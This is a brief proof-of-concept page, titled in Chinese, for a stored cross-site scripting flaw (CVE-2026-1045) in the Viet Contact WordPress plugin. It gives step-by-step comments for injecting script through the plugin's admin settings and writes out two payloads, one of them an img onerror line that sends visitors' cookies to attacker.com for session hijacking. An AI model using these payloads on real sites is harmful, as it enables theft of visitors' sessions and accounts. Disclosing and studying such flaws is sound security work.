CVE-2026-1045 WordPress Viet contact插件存储型XSS漏洞

<!-- CVE-2026-1045 PoC: Stored XSS in Viet Contact Plugin --> <!-- Requires administrator privileges --> <!-- Attack vector: Plugin admin settings page --> <!-- Step 1: Inject malicious JavaScript via admin settings --> <!-- Example payload for settings fields like contact form title or message --> <script>alert(document.cookie)</script> <!-- More sophisticated payload for session hijacking --> <img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)"> <!-- PoC description: --> <!-- 1. Login to WordPress admin panel with administrator account --> <!-- 2. Navigate to Viet Contact plugin settings page --> <!-- 3. Inject XSS payload in contact form fields --> <!-- 4. Save settings - payload stored in database --> <!-- 5. Any user viewing contact page will execute the injected script -->